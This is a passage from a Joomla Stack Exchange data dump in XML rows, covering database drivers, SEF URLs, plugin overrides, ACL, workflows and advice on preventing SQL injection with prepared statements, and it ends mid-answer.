  <row Id="32115" PostTypeId="2" ParentId="32114" CreationDate="2022-04-25T08:30:22.857" Score="3" Body="&lt;p&gt;The mysqli extension can be compiled against mysqlnd (PHP native driver for MySQL) or libmysql (the shared driver from Oracle). It's a compilation time option. PHP 8.2 will only allow mysqli to be compiled with mysqlnd.&lt;/p&gt;&#xA;&lt;p&gt;The mysqli extension isn't deprecated, but it can be considered obsolete due to the existence of PDO extension. There's no reason to use mysqli if you can use PDO. Joomla allows you to use PDO extension for connecting to the database. PDO_MySQL can also be compiled against libmysql and mysqlnd.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, when setting Joomla, the best setting should be PDO. But the option to use mysqli is still there.&lt;/p&gt;&#xA;&lt;p&gt;When you are using cPanel, the extension page is a non-standard list of PHP extensions. It is confusing because there are two variants for mysqli and PDO, as well as mysqlnd itself. You want to have mysqlnd enabled and the native driver variants of mysqli and PDO, i.e. &lt;code&gt;nd_mysqli&lt;/code&gt; and &lt;code&gt;nd_pdo_mysql&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16281" LastActivityDate="2022-04-25T08:30:22.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32116" PostTypeId="1" CreationDate="2022-04-27T09:36:45.257" Score="0" ViewCount="71" Body="&lt;p&gt;I have built a directory website and started to add some content. I have created the standard pages (contact us, privacy, etc.) and added businesses. I would like SEO-friendly URLs, so I set:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search Engine Friendly URLs&lt;/li&gt;&#xA;&lt;li&gt;URL Rewriting - YES&lt;/li&gt;&#xA;&lt;li&gt;Suffix - No&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;However, Joomla somehow rewrites my aliases and changes them.&lt;/p&gt;&#xA;&lt;p&gt;For example: &lt;code&gt;mywebsite/bar-and-dinner&lt;/code&gt; is displayed as &lt;code&gt;mywebsite/bar-din-r&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I contacted the support of the plugin I use and they told me that I must have had some filters on Joomla that creates such a problem. I tried to purge the cache on the website &amp;amp; server, but it's still the same. I just updated to Joomla 4.0.&lt;/p&gt;&#xA;&lt;p&gt;What can I do to prevent the corruption of my SEO-friendly URLs?&lt;/p&gt;&#xA;" OwnerUserId="16284" LastEditorUserId="12352" LastEditDate="2022-04-27T22:43:04.027" LastActivityDate="2022-04-27T22:43:04.027" Title="SEO-friendly URLs are being corrupted after update" Tags="|url|joomla-4.x|sef|seo|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32117" PostTypeId="2" ParentId="7520" CreationDate="2022-04-27T14:34:40.513" Score="0" Body="&lt;p&gt;What about just highlighting the steps?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;List categories then&lt;/li&gt;&#xA;&lt;li&gt;Select then&lt;/li&gt;&#xA;&lt;li&gt;either the options listed on the Select options&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16286" LastEditorUserId="12352" LastEditDate="2022-04-27T22:34:07.160" LastActivityDate="2022-04-27T22:34:07.160" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32118" PostTypeId="1" CreationDate="2022-04-27T15:28:28.903" Score="0" ViewCount="125" Body="&lt;p&gt;I'm trying to override a Joomla method (toggleTables in the Indexer class of the com_finder) using a plugin, but it doesn't work. Where am I going wrong?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Component\Finder\Administrator\Indexer;&#xA;&#xA;&#xA;class plgSystemFinder_override extends CMSPlugin&#xA;{&#xA;    function toggleTables($memory)&#xA;    {&#xA;            return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16086" LastActivityDate="2022-04-29T11:56:42.467" Title="Override a method of the Indexer class (com_finder) using a plugin" Tags="|plugin|overrides|joomla-4.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32119" PostTypeId="2" ParentId="32118" CreationDate="2022-04-28T02:40:59.277" Score="1" Body="&lt;p&gt;I don't think you have correctly grasped how the Plugin can be used to override a function. In your example there is nothing to connect the function toggleTables with the Indexer class you are trying to override.&lt;/p&gt;&#xA;&lt;p&gt;I haven't done exactly what you are trying to do so this will require you to do some more reading to get it to work for your circumstances and maybe someone else can provide an exact or working example, however these are the parts you need to have.&lt;/p&gt;&#xA;&lt;p&gt;To start with your Plugin should be written to register the file where your override code can be found and this is done by registering the library early on in processing, in this case just after things get initialised.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class plgSystemFinder_override extends CMSPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        JLoader::register(location of your version of the toggleTables function);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;More information here; &lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_own_library_in_your_extensions/en&lt;/a&gt; and &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=984541&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=984541&lt;/a&gt; to help you decide how you want to find your version of the function.&lt;/p&gt;&#xA;&lt;p&gt;You also need to install your version of the code for the function into Joomla so the the above plugin can find it. Unless you have some other extension as part of your changes then I would say look at installing it as a Library.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;library&amp;quot; method=&amp;quot;upgrade&amp;quot; version=&amp;quot;4.0&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;My Test library.&amp;lt;/name&amp;gt;&#xA;    &amp;lt;libraryname&amp;gt;mytest&amp;lt;/libraryname&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;Classes&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mytest.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;More information here, &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Manifest_files&lt;/a&gt; towards the bottom discusses Libraries. You could also look at Package Manifests to combine the the Plugin and the Library to be installed together.&lt;/p&gt;&#xA;&lt;p&gt;And finally you need to perform the actual override in your code so you would have something like this in the code you have installed in the Library in the previous step so that your code will be called instead of the core code.&lt;/p&gt;&#xA;&lt;p&gt;##Updated in response to the comment by @sharky&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Indexer  &#xA;{&#xA;    entire contents of Joomla\Component\Finder\Administrator\Indexer.php including your changes&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However this answer is incomplete as I now understand we need to replace, rather than override/extend, the entire Class but I am not sure what needs to be done in the plugin to replace the core class that is already loaded.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-04-29T11:56:42.467" LastActivityDate="2022-04-29T11:56:42.467" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32120" PostTypeId="1" AcceptedAnswerId="32121" CreationDate="2022-04-28T13:47:49.763" Score="0" ViewCount="21" Body="&lt;h1&gt;Here is a video of what I see:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/Qbljr2CZu9k&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/Qbljr2CZu9k&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;When I visit my login page here:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dev.plantbasedplanet.co.uk/sign-up&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dev.plantbasedplanet.co.uk/sign-up&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I cannot login using my credentials.&lt;/p&gt;&#xA;&lt;h2&gt;However, when I fail to login I am redirected to here:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dev.plantbasedplanet.co.uk/sign-up?view=login&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dev.plantbasedplanet.co.uk/sign-up?view=login&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And I can login.  The difference seems to be whether it is a module or not.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone understand why that might be?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-04-28T14:30:41.990" Title="Login works sometimes" Tags="|module|login|j2store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32121" PostTypeId="2" ParentId="32120" CreationDate="2022-04-28T14:30:41.990" Score="1" Body="&lt;p&gt;From the video it seems that you have one page that displays the registration form and the login form displayed on one page. Is that correct?&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;registration form&lt;/strong&gt; seems to be a &lt;strong&gt;component&lt;/strong&gt; which uses a &lt;code&gt;registration.register&lt;/code&gt; task as hidden field in the form. The &lt;strong&gt;login form&lt;/strong&gt; seems to be a &lt;strong&gt;module&lt;/strong&gt; that probably uses a &lt;code&gt;user.login&lt;/code&gt; task. When you display both on one page, maybe both different tasks clash with each other?&lt;/p&gt;&#xA;&lt;p&gt;Do you use an IDE (like PHPStorm) in conjunction with XDebug? Could you see which task / controller is triggered?&lt;/p&gt;&#xA;&lt;p&gt;Could you try using the same forms, but on different pages?&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-04-28T14:30:41.990" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32122" PostTypeId="1" CreationDate="2022-04-28T20:28:06.730" Score="0" ViewCount="37" Body="&lt;p&gt;The view in my custom component is no longer recognized in Joomla4 when passed as, for example, &lt;code&gt;mycomponent/view/anotherinfo&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla3, this worked normally. What happened? What do I need to change for J4?&lt;/p&gt;&#xA;" OwnerUserId="16288" LastEditorUserId="12352" LastEditDate="2022-04-28T23:36:41.613" LastActivityDate="2024-01-19T07:01:04.947" Title="URL doesn't recognize view after slash in custom component" Tags="|custom-component|url|joomla-4|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32123" PostTypeId="1" AcceptedAnswerId="32124" CreationDate="2022-04-28T21:54:27.330" Score="1" ViewCount="1491" Body="&lt;p&gt;I am trying to create a model in Joomla that will display various information pertaining to a certain ID.  When I create the function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem ($id = null)&#xA;{&#xA;    if ($this-&amp;gt;_item === null)&#xA;    {&#xA;        $this-&amp;gt;_item = false;&#xA;&#xA;        if (empty($id))&#xA;        {&#xA;            $id = $this-&amp;gt;getState('player.id');&#xA;        }&#xA;        &#xA;    }&#xA;&#xA;    $db    = Factory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query = &amp;quot;SELECT name FROM #__baseball_teams WHERE id = $id&amp;quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $this-&amp;gt;_item = $db-&amp;gt;loadObject()-&amp;gt;name; &#xA;    &#xA;    return $this-&amp;gt;_item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I change the query results from:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_item = $db-&amp;gt;loadObject()-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_item-&amp;gt;team = $db-&amp;gt;loadObject()-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I keep getting errors such as &lt;code&gt;Attempt to assign property &amp;quot;team&amp;quot; on bool&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or if I try changing things around, I get &lt;code&gt;Attempt to assign string &amp;quot;team&amp;quot; on null&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;When I run a &lt;code&gt;print_r&lt;/code&gt;, the data is there and a &lt;code&gt;var_dump&lt;/code&gt; shows as strings, but I just have no idea why I cannot assign an additional &lt;code&gt;-&amp;gt;&lt;/code&gt; without getting errors?&lt;/p&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="12352" LastEditDate="2022-04-28T23:40:26.633" LastActivityDate="2022-04-29T00:34:24.957" Title="Attempt to assign property &quot;team&quot; on bool" Tags="|joomla-4.x|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32124" PostTypeId="2" ParentId="32123" CreationDate="2022-04-28T23:57:19.223" Score="3" Body="&lt;p&gt;Well, your code is saying that &lt;code&gt;$this-&amp;gt;_item&lt;/code&gt; might be &lt;code&gt;null&lt;/code&gt; (a non-object) -- if it is, you are overwriting it to be &lt;code&gt;false&lt;/code&gt; (again, a non-object).  Then, after grabbing your database results, you are trying to assign a property to &lt;code&gt;$this-&amp;gt;_item&lt;/code&gt; as if it was an object, but you cannot assign a property to a non-object.  Perhaps you want to convert a null &lt;code&gt;$this-&amp;gt;_item&lt;/code&gt; to be an empty object so that you can assign properties to it.&lt;/p&gt;&#xA;&lt;p&gt;Also, you are creating a query object with:&lt;br&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then you are overwriting that object with a literal string with:&lt;br&gt; &lt;code&gt;$query = &amp;quot;SELECT name FROM #__baseball_teams WHERE id = $id&amp;quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Instead, let's implement a prepared statement with query building helper methods in J4.&lt;/p&gt;&#xA;&lt;p&gt;Untested suggestion:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem ($id = null): object&#xA;{&#xA;    if (!is_object($this-&amp;gt;_item))&#xA;    {&#xA;        $this-&amp;gt;_item = (object) [];&#xA;&#xA;        if (!$id)&#xA;        {&#xA;            $id = $this-&amp;gt;getState('player.id');&#xA;        }&#xA;        &#xA;        $db    = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName('name'))&#xA;              -&amp;gt;from($db-&amp;gt;quoteName('#__baseball_teams'))&#xA;              -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = :id')&#xA;              -&amp;gt;bind(':id', $id);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $this-&amp;gt;_item-&amp;gt;name = $db-&amp;gt;loadObject()-&amp;gt;name; &#xA;    }&#xA;    &#xA;    return $this-&amp;gt;_item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From PHP7.4, use the &lt;a href=&quot;https://stackoverflow.com/q/59102708/2943403&quot;&gt;null coalescing assignment operator&lt;/a&gt; to replace the &lt;code&gt;if (!$id) { ... }&lt;/code&gt; condition block.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id ??= $this-&amp;gt;getState('player.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2022-04-29T00:34:24.957" LastActivityDate="2022-04-29T00:34:24.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32125" PostTypeId="2" ParentId="32122" CreationDate="2022-04-29T03:24:30.987" Score="0" Body="&lt;p&gt;The Router changed. In Joomla 3 you had a choice to use the legacy or the modern router, in Joomla 4 the legacy router is no longer available. It is possible, but without more details on your components code, that you are also relying on a couple of lines of code that were removed in the Joomla 4 version of the router.&lt;/p&gt;&#xA;&lt;p&gt;My question, &lt;a href=&quot;https://joomla.stackexchange.com/questions/31618/joomla-4-no-longer-inserting-the-itemid-the-current-or-active-menu-in-the-url&quot;&gt;Joomla 4 no longer inserting the Itemid, the current or active menu , in the URL. Is this correct behavior?&lt;/a&gt; from last year shows my research into my components not working properly under J4 and the second answer is a small hack to get my components working until I can convert/replace them.&lt;/p&gt;&#xA;&lt;p&gt;It might help you to understand what is going on in your code even though my issue was around the item id being dropped your example doesn't provide enough detail confirm it is is or isn't related.&lt;/p&gt;&#xA;&lt;p&gt;If you look through the Joomla Github or Issue Tracker for Router changes you can learn a bit more about what has changed. I don't links to hand, but I recall finding a few pages via Google trying to explain how to use the new router.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-04-29T03:24:30.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32126" PostTypeId="1" AcceptedAnswerId="32205" CreationDate="2022-04-28T06:07:50.513" Score="1" ViewCount="2563" Body="&lt;p&gt;I have a website setup on my infrastructure that is running Joomla 3.10.8. During a security audit, certain SQL injection vulnerabilities / XSS have been identified.&lt;/p&gt;&#xA;&lt;p&gt;The setup includes a bunch of plugins like K2 for managing the display of content and workflows. As there has been no custom development of any of these components, how do I address this security issue?&lt;/p&gt;&#xA;&lt;p&gt;Are there any recommendations or best practices that I can follow?&lt;/p&gt;&#xA;" OwnerUserId="16387" OwnerDisplayName="onlinejava" LastEditorUserId="12352" LastEditDate="2022-04-29T06:45:29.840" LastActivityDate="2022-06-07T18:30:31.913" Title="Joomla 3.10.x SQL Injection XSS Vulnerability" Tags="|joomla-3.x|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32127" PostTypeId="2" ParentId="32126" CreationDate="2022-04-28T13:51:54.750" Score="1" Body="&lt;p&gt;If the vulnerability is indeed in core Joomla and not in one of the installed extensions you can contact the Joomla Security Strike Team via this page&#xA;&lt;a href=&quot;https://developer.joomla.org/security.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/security.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14620" OwnerDisplayName="hvdmeer" LastActivityDate="2022-04-28T13:51:54.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32129" PostTypeId="1" AcceptedAnswerId="32131" CreationDate="2022-04-29T14:34:21.277" Score="1" ViewCount="102" Body="&lt;p&gt;A mate and I are doing an internship at university, and the project we are working on is a small Joomla 4.1 website. Our supervisors asked us to override the mechanics of content insertion so that an article submitted by an author needs to be approved by a moderator before being featured for every visitor - as a result, we created our own Content table and a Status table linked to it. Also note that given the small scope of the website, we are also assuming a 1-to-1 correspondence between sections and categories.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that the Joomla UI lets any authenticated user upload articles and set them visible to all visitors through a &amp;quot;new article&amp;quot; button in any section. Is there a way to remove these buttons or override them with something of our own?&lt;/p&gt;&#xA;&lt;p&gt;Crossposted here and &lt;a href=&quot;https://stackoverflow.com/questions/72051050/is-it-possible-to-remove-the-new-article-button-from-all-sections-in-a-joomla?noredirect=1#comment127315069_72051050&quot;&gt;on Stack Overflow&lt;/a&gt;, where I've also been told about workflows. We've been looking into them, but I'd still like to have a different approach if we decide to go down that route nonetheless, for some reason.&lt;/p&gt;&#xA;" OwnerUserId="16289" LastActivityDate="2022-05-02T11:06:14.270" Title="Is it possible to remove the &quot;new article&quot; button from all sections in a Joomla website?" Tags="|component|plugin|articles|joomla-4.x|workflow|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32130" PostTypeId="1" CreationDate="2022-04-30T16:49:31.447" Score="0" ViewCount="124" Body="&lt;p&gt;Related: &lt;a href=&quot;https://joomla.stackexchange.com/questions/32129/is-it-possible-to-remove-the-new-article-button-from-all-sections-in-a-joomla&quot;&gt;Is it possible to remove the &amp;quot;new article&amp;quot; button from all sections in a Joomla website?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Worflows in Joomla 4 are great, but there is a feature I'm not sure they have: letting authors make changes to already published articles by creating a new version of them, which needs to be approved by moderators before actually replacing the currently displayed version.&lt;/p&gt;&#xA;&lt;p&gt;Is this feature available directly or with free plugins/components, or is it still necessary to add it ourselves, like it was in 2015, as per &lt;a href=&quot;https://joomla.stackexchange.com/questions/9451/change-article-edition-workflow&quot;&gt;this question&lt;/a&gt;? If we do have to do it ourselves, is it better to override some existing element, or to code something from zero?&lt;/p&gt;&#xA;" OwnerUserId="16289" LastActivityDate="2022-05-09T03:33:01.027" Title="Is it possible to make it so that authors can edit their own published articles creating a new unpublished version of them?" Tags="|articles|overrides|joomla-4.x|versions|workflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32131" PostTypeId="2" ParentId="32129" CreationDate="2022-05-02T10:45:10.827" Score="3" Body="&lt;p&gt;With some minor configuration tweaks, and some better understanding of Joomla's Access Control Levels, you can easily achieve what you're trying to do. My &lt;a href=&quot;https://magazine.joomla.org/all-issues/june-2021/explore-the-core-controlling-user-access&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Magazine article from June 2021&lt;/a&gt; will help you understand perhaps more of the basic concepts.&lt;/p&gt;&#xA;&lt;p&gt;Creating additional tables like you've done may not have been necessary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Access Control Levels&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you've already discovered, by default Joomla has a number of built in user groups and access levels. These all take care of the basics.&lt;/p&gt;&#xA;&lt;p&gt;The default Author settings are Create = Allowed; Edit = Not allowed (inherited) and Edit State = Not allowed (inherited). This means Authors at the user level can create a new article, but the ACL structure does not allow them to &amp;quot;publish&amp;quot; as they don't have Edit State permissions.&lt;/p&gt;&#xA;&lt;p&gt;Joomla will send the next permission level up a private message to notify them that an article has been submitted. The user at that next level should then be in a position to publish the article if it's approved (ie act as the moderator).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Custom Access Control Groups&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To extend on that, you can create additional child user groups that you can then specify particular permissions for, and you don't need an extra extension - it can be done directly in Joomla's core functionality.&lt;/p&gt;&#xA;&lt;p&gt;So if you were to created a &amp;quot;Moderated Authors&amp;quot; group, you can then go to Content &amp;gt; Options &amp;gt; Permissions and change settings for various items to either Inherited (gets the parent group's permission), Allowed (explicitly gives that permission to this group) or Denied (explicitly prevents access to that feature for this group).&lt;/p&gt;&#xA;&lt;p&gt;However in your particular example, the core user groups should do what you need them to.&lt;/p&gt;&#xA;&lt;p&gt;I would also create a menu item to allow a user to &amp;quot;Create article&amp;quot; that has Special as the permission group. This will give you a URL that you can control the name of plus the access control on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Workflow&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2021/joomla-4-the-new-publishing-workflow-feature&quot; rel=&quot;nofollow noreferrer&quot;&gt;Another Joomla Magazine&lt;/a&gt; article gives you an overview of Workflow.&lt;/p&gt;&#xA;&lt;p&gt;Workflows are based on stages - what the piece of content is currently at the point of in the workflow, and transitions - what you can do to that content when it's at the particular stage.&lt;/p&gt;&#xA;&lt;p&gt;With stages and transitions, you can make them available to particular permission groups.&lt;/p&gt;&#xA;&lt;p&gt;If you were to create a custom user group, you would then be able to make particular workflows, stages and transitions only available to particular groups.&lt;/p&gt;&#xA;&lt;p&gt;An example may be that the initial Stage the article being submitted can be at is Draft. The only transition available to that user type may be &amp;quot;Submit new article&amp;quot;. After that, the higher up groups that moderators are in will have additional transitions available to further process the article.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3rd Party Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There's a number of ACL extensions also available for Joomla, which are designed more for granular control of additional features. Check &lt;a href=&quot;https://extensions.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org&lt;/a&gt; to search for what's available.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2022-05-02T11:06:14.270" LastActivityDate="2022-05-02T11:06:14.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32133" PostTypeId="1" AcceptedAnswerId="32134" CreationDate="2022-05-05T18:04:06.513" Score="3" ViewCount="33" Body="&lt;p&gt;I'm writing a component for which I'd like to implement some additional restrictions on actions. For example, I want administrators to be able to view user details, but restrict some sensitive information to a specific group of administrators. For this special right, I've defined an additional action &lt;code&gt;core.view.sensitive&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;action name=&amp;quot;core.admin&amp;quot; title=&amp;quot;...&amp;quot; description=&amp;quot;...&amp;quot; /&amp;gt; &#xA;&amp;lt;action name=&amp;quot;core.view&amp;quot; title=&amp;quot;...&amp;quot; description=&amp;quot;...&amp;quot; /&amp;gt; &#xA;&amp;lt;action name=&amp;quot;core.view.sensitive&amp;quot; title=&amp;quot;...&amp;quot; description=&amp;quot;...&amp;quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm trying to follow conventions here, but what is the purpose of the dot-notation for the action names? Is there some implicit hierarchy I'm not aware of? Do all users with the right to action &lt;code&gt;core.view&lt;/code&gt;, automatically also get &lt;code&gt;core.view.sensitive&lt;/code&gt; (or vice versa)? Of is it all just for aesthetics?&lt;/p&gt;&#xA;" OwnerUserId="16300" LastEditorUserId="12352" LastEditDate="2022-05-05T23:13:14.133" LastActivityDate="2022-05-06T05:45:21.793" Title="Is there a functional reason for the naming convention for custom actions?" Tags="|custom-component|acl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32134" PostTypeId="2" ParentId="32133" CreationDate="2022-05-06T05:45:21.793" Score="1" Body="&lt;p&gt;As far as I can tell, it currently makes no difference in terms of code. So it is only a human readable way of indicating hierarchy. Be aware that you can't use whitespaces and hyphens in action names because these are stripped out by Access library.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-06T05:45:21.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32135" PostTypeId="1" CreationDate="2022-05-07T00:21:47.583" Score="3" ViewCount="312" Body="&lt;p&gt;In order to sanitize the user input in an article insertion form (title and HTML content), here are the bits that I've included:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use of JInput:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;get method for a string input:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$jinput-&amp;gt;get('stringVar', '', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;JComponentHelper for HTML input:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$html = JComponentHelper::filterText($jinput-&amp;gt;post-&amp;gt;get('inputName', '', 'raw'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The quote method of JDatabaseQuery to escape the string before including it in the DB query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quote($stringVar)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Casting an integer non-input variable to int (being non-input I guess it'd be no problem, but still) before including it in the DB query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(int) $intVar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Are there inaccuracies in the above? And is this sufficient?&lt;/p&gt;&#xA;" OwnerUserId="16289" LastEditorUserId="16289" LastEditDate="2022-05-07T06:35:08.410" LastActivityDate="2022-05-07T10:08:11.897" Title="Is the following everything one should do to prevent SQL injection?" Tags="|mysql|joomla-4.x|form|jinput|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32136" PostTypeId="2" ParentId="32135" CreationDate="2022-05-07T10:08:11.897" Score="4" Body="&lt;p&gt;First, when reading user input you should make sure it's the correct type. The Input/Filter APIs don't handle array/string conversion. So if you're expecting &lt;code&gt;STRING&lt;/code&gt; filter to return a string be aware it could return an array of strings instead. Same goes for other filters.&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;code&gt;STRING&lt;/code&gt; filter is generally too restrictive for fields like articles titles. Where HTML is not intended to be used, it should be escaped on output rather than being stripped out before storing in database. The misuse of this filter is a really big usability issue in Joomla that can't be solved in B/C safe manner. You should reconsider using it. Also note that &lt;code&gt;STRING&lt;/code&gt; filter does not strip out quotes so you MUST escape it when using inside attributes.&lt;/p&gt;&#xA;&lt;p&gt;In J4 Database API uses only prepared statements. You can and should use parameters for user input. Joomla supports named parameter syntax. Be aware that &lt;code&gt;bind()&lt;/code&gt; method only supports binding parameters and not their values, i.e. the variables are passed by reference. Take care when building 